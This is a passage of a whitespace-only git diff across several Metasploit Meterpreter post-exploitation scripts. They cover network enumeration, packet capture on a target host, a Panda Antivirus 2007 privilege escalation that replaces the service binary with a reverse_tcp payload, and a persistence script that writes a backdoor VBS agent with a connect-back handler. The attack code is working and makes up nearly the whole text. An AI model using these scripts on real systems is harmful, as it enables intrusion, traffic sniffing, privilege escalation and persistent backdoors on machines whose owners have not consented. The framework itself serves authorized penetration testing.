nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Name)/ + d.scan(/Name:\s*\S*\s/) do |n| + hostname = n.split(": ") + print_status "\t #{ip} is #{hostname[1].chomp("\n")}" + filewrt(dest,"#{ip} is #{hostname[1].chomp("\n")}") + end + break - end + end - end + end - r.channel.close - r.close + r.channel.close + r.close - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for Executing Forward Lookups def frwdlp(session, hostlst, domain, dest) - dest = dest + "-DNS-forward-lookup.txt" - print_status("Performing DNS forward lookup for hosts in #{hostlst} for domain #{domain}") - filewrt(dest,"DNS forward lookup for hosts in #{hostlst} for domain #{domain}") - result = [] - threads = [] - tmpout = [] - begin - if ::File.exists?(hostlst) - ::File.open(hostlst).each {|line| - threads << ::Thread.new(line) { |h| - #print_status("checking #{h.chomp}") - r = session.sys.process.execute("nslookup #{h.chomp}.#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Name)/ - d.scan(/Name:\s*\S*\s*Address\w*:\s*.*?.*?.*/) do |n| - tmpout << n.split - end - break - end - end + dest = dest + "-DNS-forward-lookup.txt" + print_status("Performing DNS forward lookup for hosts in #{hostlst} for domain #{domain}") + filewrt(dest,"DNS forward lookup for hosts in #{hostlst} for domain #{domain}") + result = [] + threads = [] + tmpout = [] + begin + if ::File.exists?(hostlst) + ::File.open(hostlst).each {|line| + threads << ::Thread.new(line) { |h| + #print_status("checking #{h.chomp}") + r = session.sys.process.execute("nslookup #{h.chomp}.#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Name)/ + d.scan(/Name:\s*\S*\s*Address\w*:\s*.*?.*?.*/) do |n| + tmpout << n.split + end + break + end + end - r.channel.close - r.close - } - } - threads.each { |aThread| aThread.join } - tmpout.uniq.each do |t| - print_status("\t#{t.join.sub(/Address\w*:/, "\t")}") - filewrt(dest,"#{t.join.sub(/Address\w*:/, "\t")}") - end + r.channel.close + r.close + } + } + threads.each { |aThread| aThread.join } + tmpout.uniq.each do |t| + print_status("\t#{t.join.sub(/Address\w*:/, "\t")}") + filewrt(dest,"#{t.join.sub(/Address\w*:/, "\t")}") + end - else - print_status("File #{hostlst} doesn't exists!") - exit - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + else + print_status("File #{hostlst} doesn't exists!") + exit + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for Executing Ping Sweep def pingsweep(session, iprange, dest) - dest = dest + "-pingsweep.txt" - print_status("Performing ping sweep for IP range #{iprange}") - filewrt(dest,"Ping sweep for IP range #{iprange}") - iplst = [] - begin - i, a = 0, [] - ipadd = Rex::Socket::RangeWalker.new(iprange) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - begin - iplst.each do |ip| - if i < 10 - a.push(::Thread.new { - r = session.sys.process.execute("ping #{ip} -n 1", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Reply)/ - print_status "\t#{ip} host found" - filewrt(dest,"#{ip} host found") - r.channel.close - elsif d =~ /(Antwort)/ - print_status "\t#{ip} host found" - filewrt(dest,"#{ip} host found") - r.channel.close - end - end - r.channel.close - r.close + dest = dest + "-pingsweep.txt" + print_status("Performing ping sweep for IP range #{iprange}") + filewrt(dest,"Ping sweep for IP range #{iprange}") + iplst = [] + begin + i, a = 0, [] + ipadd = Rex::Socket::RangeWalker.new(iprange) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + begin + iplst.each do |ip| + if i < 10 + a.push(::Thread.new { + r = session.sys.process.execute("ping #{ip} -n 1", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Reply)/ + print_status "\t#{ip} host found" + filewrt(dest,"#{ip} host found") + r.channel.close + elsif d =~ /(Antwort)/ + print_status "\t#{ip} host found" + filewrt(dest,"#{ip} host found") + r.channel.close + end + end + r.channel.close + r.close - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for enumerating srv records def srvreclkp(session, domain, dest) - dest = dest + "-srvenum.txt" - srout = [] - garbage = [] - srvrcd = [ - "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.", - "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", - "_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp." - ] - print_status("Performing SRV record enumeration for #{domain}") - filewrt(dest,"SRV record enumeration for #{domain}") - srvrcd.each do |srv| - r = session.sys.process.execute("nslookup -query=srv #{srv}#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - srout << d - end - r.channel.close - r.close - results = srout.join.split(/\n/) - results.each do |rec| - if rec.match(/\s*internet\saddress\s\=\s/) - garbage << rec.split(/\s*internet\saddress\s\=/) - print_status("\tfor #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") - filewrt(dest,"for #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") - garbage.clear - end - garbage.clear - srout.clear - end - end + dest = dest + "-srvenum.txt" + srout = [] + garbage = [] + srvrcd = [ + "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.", + "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", + "_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp." + ] + print_status("Performing SRV record enumeration for #{domain}") + filewrt(dest,"SRV record enumeration for #{domain}") + srvrcd.each do |srv| + r = session.sys.process.execute("nslookup -query=srv #{srv}#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + srout << d + end + r.channel.close + r.close + results = srout.join.split(/\n/) + results.each do |rec| + if rec.match(/\s*internet\saddress\s\=\s/) + garbage << rec.split(/\s*internet\saddress\s\=/) + print_status("\tfor #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") + filewrt(dest,"for #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") + garbage.clear + end + garbage.clear + srout.clear + end + end end #------------------------------------------------------------------------------- #Function to print message during run def message(dest) - print_status "Network Enumerator Meterpreter Script " - print_status "Log file being saved in #{dest}" + print_status "Network Enumerator Meterpreter Script " + print_status "Log file being saved in #{dest}" end ################## MAIN ################## @@ -276,82 +276,82 @@ def message(dest) # Parsing of Options @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-sr" - srvrc = 1 - when "-rl" - rvrslkp = 1 - when "-fl" - frdlkp = 1 - when "-ps" - pngsp = 1 - when "-st" - stdlkp = 1 - when "-d" - dom = val - when "-hl" - hostlist = val - when "-r" - range = val - when "-h" - print( - "Network Enumerator Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage - ) - helpcall = 1 - end + case opt + when "-sr" + srvrc = 1 + when "-rl" + rvrslkp = 1 + when "-fl" + frdlkp = 1 + when "-ps" + pngsp = 1 + when "-st" + stdlkp = 1 + when "-d" + dom = val + when "-hl" + hostlist = val + when "-r" + range = val + when "-h" + print( + "Network Enumerator Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage + ) + helpcall = 1 + end } if client.platform =~ /win32|win64/ - if pngsp == 1 - if range != nil - message(logs) - pingsweep(session, range, dest) - else - print_error("Please add a range to scan: -r ") - end - elsif rvrslkp == 1 - if range != nil - message(logs) - reverselookup(session, range, dest) - else - print_error("Please add a range to scan: -r ") - end - elsif frdlkp == 1 - if dom != nil && hostlist!= nil && - message(logs) - frwdlp(session, hostlist, dom, dest) - elsif dom == nil - print_error("Please add a domain name for DNS forward lookup: -d ") - elsif hostlist == nil - print_error("Please add a file with host list for DNS forward lookup: -hl ") - else - print_error("Something went wront") - end - elsif stdlkp == 1 - if dom != nil - message(logs) - stdlookup(session, dom, dest) - else - print_error("Please add a domain name for DNS forward lookup: -d ") - end - elsif srvrc == 1 - if dom != nil - message(logs) - srvreclkp(session, dom, dest) - else - print_error("Please add a domain name for DNS forward lookup: -d ") - end - else - print("Network Enumerator Meterpreter Script\n" + - "Usage:\n" + - "\tnetenum -r (-ps | -rl)\n" + - "\tnetenum -d (-st | -sr)\n" + - "\tnetenum -d -lh -fl\n" + - @@exec_opts.usage) - end + if pngsp == 1 + if range != nil + message(logs) + pingsweep(session, range, dest) + else + print_error("Please add a range to scan: -r ") + end + elsif rvrslkp == 1 + if range != nil + message(logs) + reverselookup(session, range, dest) + else + print_error("Please add a range to scan: -r ") + end + elsif frdlkp == 1 + if dom != nil && hostlist!= nil && + message(logs) + frwdlp(session, hostlist, dom, dest) + elsif dom == nil + print_error("Please add a domain name for DNS forward lookup: -d ") + elsif hostlist == nil + print_error("Please add a file with host list for DNS forward lookup: -hl ") + else + print_error("Something went wront") + end + elsif stdlkp == 1 + if dom != nil + message(logs) + stdlookup(session, dom, dest) + else + print_error("Please add a domain name for DNS forward lookup: -d ") + end + elsif srvrc == 1 + if dom != nil + message(logs) + srvreclkp(session, dom, dest) + else + print_error("Please add a domain name for DNS forward lookup: -d ") + end + else + print("Network Enumerator Meterpreter Script\n" + + "Usage:\n" + + "\tnetenum -r (-ps | -rl)\n" + + "\tnetenum -d (-st | -sr)\n" + + "\tnetenum -d -lh -fl\n" + + @@exec_opts.usage) + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb index 049a41924c14..72b7d546a365 100644 --- a/scripts/meterpreter/packetrecorder.rb +++ b/scripts/meterpreter/packetrecorder.rb @@ -16,11 +16,11 @@ # Log Folder log_dest = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."], - "-i" => [ true, "Interface ID number where all packet capture will be done."], - "-li" => [ false, "List interfaces that can be used for capture."], - "-l" => [ true, "Specify and alternate folder to save PCAP file."] + "-h" => [ false, "Help menu."], + "-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."], + "-i" => [ true, "Interface ID number where all packet capture will be done."], + "-li" => [ false, "List interfaces that can be used for capture."], + "-l" => [ true, "Specify and alternate folder to save PCAP file."] ) meter_type = client.platform @@ -29,184 +29,184 @@ # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for capturing packets in to a PCAP file" - print_line "on a target host given a interface ID." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for capturing packets in to a PCAP file" + print_line "on a target host given a interface ID." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for creating log folder and returning log pa #------------------------------------------------------------------------------- def log_file(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo ) + else + logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - logfile = logs + ::File::Separator + host + filenameinfo + ".cap" - return Rex::FileUtils.clean_path(logfile) + #logfile name + logfile = logs + ::File::Separator + host + filenameinfo + ".cap" + return Rex::FileUtils.clean_path(logfile) end #Function for Starting Capture #------------------------------------------------------------------------------- def startsniff(interface_id) - begin - #Load Sniffer module - @client.core.use("sniffer") - print_status("Starting Packet capture on interface #{interface_id}") - #starting packet capture with a buffer size of 200,000 packets - @client.sniffer.capture_start(interface_id, 200000) - print_good("Packet capture started") - rescue ::Exception => e - print_status("Error Starting Packet Capture: #{e.class} #{e}") - raise Rex::Script::Completed - end + begin + #Load Sniffer module + @client.core.use("sniffer") + print_status("Starting Packet capture on interface #{interface_id}") + #starting packet capture with a buffer size of 200,000 packets + @client.sniffer.capture_start(interface_id, 200000) + print_good("Packet capture started") + rescue ::Exception => e + print_status("Error Starting Packet Capture: #{e.class} #{e}") + raise Rex::Script::Completed + end end #Function for Recording captured packets into PCAP file #------------------------------------------------------------------------------- def packetrecord(packtime, logfile,intid) - begin - rec = 1 - print_status("Packets being saved in to #{logfile}") - print_status("Packet capture interval is #{packtime} Seconds") - #Inserting Packets every number of seconds specified - while rec == 1 - path_cap = logfile - path_raw = logfile + '.raw' - fd = ::File.new(path_raw, 'wb+') - #Flushing Buffers - res = @client.sniffer.capture_dump(intid) - bytes_all = res[:bytes] || 0 - bytes_got = 0 - bytes_pct = 0 - while (bytes_all > 0) - res = @client.sniffer.capture_dump_read(intid,1024*512) - bytes_got += res[:bytes] - pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i - if(pct > bytes_pct) - bytes_pct = pct - end - break if res[:bytes] == 0 - fd.write(res[:data]) - end - - fd.close - #Converting raw file to PCAP - fd = nil - if(::File.exist?(path_cap)) - fd = ::File.new(path_cap, 'ab+') - else - fd = ::File.new(path_cap, 'wb+') - fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN')) - end - od = ::File.new(path_raw, 'rb') - - # TODO: reorder packets based on the ID (only an issue if the buffer wraps) - while(true) - buf = od.read(20) - break if not buf - - idh,idl,thi,tlo,len = buf.unpack('N5') - break if not len - if(len > 10000) - print_error("Corrupted packet data (length:#{len})") - break - end - - pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo) - pkt = od.read(len) - fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt) - end - od.close - fd.close - - ::File.unlink(path_raw) - sleep(2) - sleep(packtime.to_i) - - end - rescue::Exception => e - print("\n") - print_status("#{e.class} #{e}") - print_good("Stopping Packet sniffer...") - @client.sniffer.capture_stop(intid) - end + begin + rec = 1 + print_status("Packets being saved in to #{logfile}") + print_status("Packet capture interval is #{packtime} Seconds") + #Inserting Packets every number of seconds specified + while rec == 1 + path_cap = logfile + path_raw = logfile + '.raw' + fd = ::File.new(path_raw, 'wb+') + #Flushing Buffers + res = @client.sniffer.capture_dump(intid) + bytes_all = res[:bytes] || 0 + bytes_got = 0 + bytes_pct = 0 + while (bytes_all > 0) + res = @client.sniffer.capture_dump_read(intid,1024*512) + bytes_got += res[:bytes] + pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i + if(pct > bytes_pct) + bytes_pct = pct + end + break if res[:bytes] == 0 + fd.write(res[:data]) + end + + fd.close + #Converting raw file to PCAP + fd = nil + if(::File.exist?(path_cap)) + fd = ::File.new(path_cap, 'ab+') + else + fd = ::File.new(path_cap, 'wb+') + fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN')) + end + od = ::File.new(path_raw, 'rb') + + # TODO: reorder packets based on the ID (only an issue if the buffer wraps) + while(true) + buf = od.read(20) + break if not buf + + idh,idl,thi,tlo,len = buf.unpack('N5') + break if not len + if(len > 10000) + print_error("Corrupted packet data (length:#{len})") + break + end + + pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo) + pkt = od.read(len) + fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt) + end + od.close + fd.close + + ::File.unlink(path_raw) + sleep(2) + sleep(packtime.to_i) + + end + rescue::Exception => e + print("\n") + print_status("#{e.class} #{e}") + print_good("Stopping Packet sniffer...") + @client.sniffer.capture_stop(intid) + end end # Function for listing interfaces # ------------------------------------------------------------------------------ def int_list() - begin - @client.core.use("sniffer") - ifaces = @client.sniffer.interfaces() - - print_line() - - ifaces.each do |i| - print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )", - i['idx'], i['description'], - i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless']) - ) - end - - print_line() - rescue ::Exception => e - print_error("Error listing interface: #{e.class} #{e}") - end - raise Rex::Script::Completed + begin + @client.core.use("sniffer") + ifaces = @client.sniffer.interfaces() + + print_line() + + ifaces.each do |i| + print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )", + i['idx'], i['description'], + i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless']) + ) + end + + print_line() + rescue ::Exception => e + print_error("Error listing interface: #{e.class} #{e}") + end + raise Rex::Script::Completed end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-i" - int_id = val.to_i - when "-l" - log_dest = val - when "-li" - list_int = 1 - when "-t" - rec_time = val - end + case opt + when "-h" + usage + when "-i" + int_id = val.to_i + when "-l" + log_dest = val + when "-li" + list_int = 1 + when "-t" + rec_time = val + end } # Check for Version of Meterpreter wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i if !int_id.nil? or !list_int.nil? - if not is_uac_enabled? or is_admin? - if !list_int.nil? - int_list - else - pcap_file = log_file(log_dest) - startsniff(int_id) - packetrecord(rec_time,pcap_file,int_id) - end - else - print_error("Access denied (UAC enabled?)") - end + if not is_uac_enabled? or is_admin? + if !list_int.nil? + int_list + else + pcap_file = log_file(log_dest) + startsniff(int_id) + packetrecord(rec_time,pcap_file,int_id) + end + else + print_error("Access denied (UAC enabled?)") + end else - usage + usage end diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb index 5c1b41014de4..9ba0d699ed3c 100644 --- a/scripts/meterpreter/panda_2007_pavsrv51.rb +++ b/scripts/meterpreter/panda_2007_pavsrv51.rb @@ -21,9 +21,9 @@ # Options # @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -33,76 +33,76 @@ rport = nil def usage - print_status("Panda Antivirus 2007 Privilege Escalation.") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_status("Panda Antivirus 2007 Privilege Escalation.") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # # Option parsing # @exec_opts.parse(args) do |opt, idx, val| - case opt - when "-r" - rhost = val - when "-p" - rport = val.to_i - else - usage - end + case opt + when "-r" + rhost = val + when "-p" + rport = val.to_i + else + usage + end end if rhost.nil? or rport.nil? - usage + usage elsif client.platform =~ /win32|win64/ - client.sys.process.get_processes().each do |m| - - if ( m['name'] =~ /PAVSRV51\.EXE/ ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate - - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - - # Change to our working directory. - workingdir = client.fs.file.expand_path("%ProgramFiles%") - client.fs.dir.chdir(workingdir + "\\Panda Software\\Panda Antivirus 2007\\") - - # Create a backup of the original exe. - print_status("Creating a copy of PAVSRV51 (PAVSRV51_back.EXE)...") - client.sys.process.execute("cmd.exe /c rename PAVSRV51.EXE PAVSRV51_back.EXE", nil, {'Hidden' => 'true'}) - - # Place our newly created exe with the orginal binary name. - tempdir = client.fs.file.expand_path("%ProgramFiles%") - tempexe = tempdir + "\\Panda Software\\Panda Antivirus 2007\\" + "PAVSRV51.EXE" - - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - - print_status("Done, now just wait for the callback...") - - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - # Keep our shell stable. - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = false - - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - end - end + client.sys.process.get_processes().each do |m| + + if ( m['name'] =~ /PAVSRV51\.EXE/ ) + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate + + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + + # Change to our working directory. + workingdir = client.fs.file.expand_path("%ProgramFiles%") + client.fs.dir.chdir(workingdir + "\\Panda Software\\Panda Antivirus 2007\\") + + # Create a backup of the original exe. + print_status("Creating a copy of PAVSRV51 (PAVSRV51_back.EXE)...") + client.sys.process.execute("cmd.exe /c rename PAVSRV51.EXE PAVSRV51_back.EXE", nil, {'Hidden' => 'true'}) + + # Place our newly created exe with the orginal binary name. + tempdir = client.fs.file.expand_path("%ProgramFiles%") + tempexe = tempdir + "\\Panda Software\\Panda Antivirus 2007\\" + "PAVSRV51.EXE" + + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + + print_status("Done, now just wait for the callback...") + + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + # Keep our shell stable. + handler.datastore['InitialAutoRunScript'] = "migrate -f" + handler.datastore['ExitOnSession'] = false + + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + end + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 948f4fbd6ad6..4e9a8aa922f5 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -22,17 +22,17 @@ @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], - "-i" => [ true, "The interval in seconds between each connection attempt"], - "-X" => [ false, "Automatically start the agent when the system boots"], - "-U" => [ false, "Automatically start the agent when the User logs on"], - "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], - "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], - "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."], - "-T" => [ true, "Alternate executable template to use"], - "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"], + "-i" => [ true, "The interval in seconds between each connection attempt"], + "-X" => [ false, "Automatically start the agent when the system boots"], + "-U" => [ false, "Automatically start the agent when the User logs on"], + "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], + "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], + "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."], + "-T" => [ true, "Alternate executable template to use"], + "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] ) meter_type = client.platform @@ -41,167 +41,167 @@ # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for creating a persistent backdoor on a target host." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for creating a persistent backdoor on a target host." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for Creating the Payload #------------------------------------------------------------------------------- def create_payload(payload_type,lhost,lport) - print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") - payload = payload_type - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - return pay.generate + print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") + payload = payload_type + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + return pay.generate end # Function for Creating persistent script #------------------------------------------------------------------------------- def create_script(delay,altexe,raw) - if altexe - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) - else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) - end - print_status("Persistent agent script is #{vbs.length} bytes long") - return vbs + if altexe + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) + else + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) + end + print_status("Persistent agent script is #{vbs.length} bytes long") + return vbs end # Function for creating log folder and returning log path #------------------------------------------------------------------------------- def log_file(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile + #logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile end # Function for writing script to target host #------------------------------------------------------------------------------- def write_script_to_target(target_dir,vbs) - if target_dir - tempdir = target_dir - else - tempdir = @client.fs.file.expand_path("%TEMP%") - end - tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" - fd = @client.fs.file.new(tempvbs, "wb") - fd.write(vbs) - fd.close - print_good("Persistent Script written to #{tempvbs}") - file_local_write(@clean_up_rc, "rm #{tempvbs}\n") - return tempvbs + if target_dir + tempdir = target_dir + else + tempdir = @client.fs.file.expand_path("%TEMP%") + end + tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" + fd = @client.fs.file.new(tempvbs, "wb") + fd.write(vbs) + fd.close + print_good("Persistent Script written to #{tempvbs}") + file_local_write(@clean_up_rc, "rm #{tempvbs}\n") + return tempvbs end # Function for setting multi handler for autocon #------------------------------------------------------------------------------- def set_handler(selected_payload,rhost,rport) - print_status("Starting connection handler at port #{rport} for #{selected_payload}") - mul = client.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = @client.workspace - mul.datastore['PAYLOAD'] = selected_payload - mul.datastore['LHOST'] = rhost - mul.datastore['LPORT'] = rport - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = false - - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - print_good("Multi/Handler started!") + print_status("Starting connection handler at port #{rport} for #{selected_payload}") + mul = client.framework.exploits.create("multi/handler") 